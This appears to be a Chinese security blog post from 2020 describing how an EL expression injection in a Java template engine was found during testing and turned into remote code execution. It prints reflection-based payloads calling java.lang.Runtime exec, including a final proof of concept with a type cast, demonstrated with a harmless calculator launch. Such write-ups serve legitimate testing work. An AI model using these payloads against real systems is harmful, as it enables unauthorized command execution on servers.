一次EL表达式注入

Posted by bfpiaoran on August 13, 2020

安全测试的时候同事发现 有个模板 可以带入变量 大概是这样的

{
    "content": "${a} ${b}",
    "params": [
        "123","456"
    ]
}

最后解析结果是”123 456” 觉得有表达式注入 我说试下${${a}+${b}}呢 结果果然返回的是579
存在EL表达式注入无疑了 一路跟踪代码 发现接口只是做了替换 最后调用另一个内部接口 debug了下发现传参为 ${123+456} 嗯。。。只是简单的替换

最后跟踪发现有个模板引擎去做解析 那么问题就出在这了。
查一下网上的payload

${("".getClass().forName("java.lang.Runtime").getMethods()[6].invoke(null,null)).exec("calc")}

发现返回失败 但是执行 getMethods 是有返回的 只好本地调试下

${"".getClass().forName("java.lang.Runtime").getMethods()}

发现报错 找不到方法 明明反射调用了Runtime 一路跟进代码 发现是生产模板的锅 Engine.getEngine().parseTemplate(data)
方法会逐级搜索该对象或者类下面是否有对应的方法 然后push到一个缓存中 继续读取

问题就出在这里 ClassUtils.searchMethod java反射调用之后 生成的是一个Object 而Object是没有方法的 也就抛出下面的异常了

所以 问了下师傅 说需要强制转换类型 最终poc 为

${((Runtime)("".getClass().forName("java.lang.Runtime").getMethods()[6].invoke(null,null))).exec("calc")}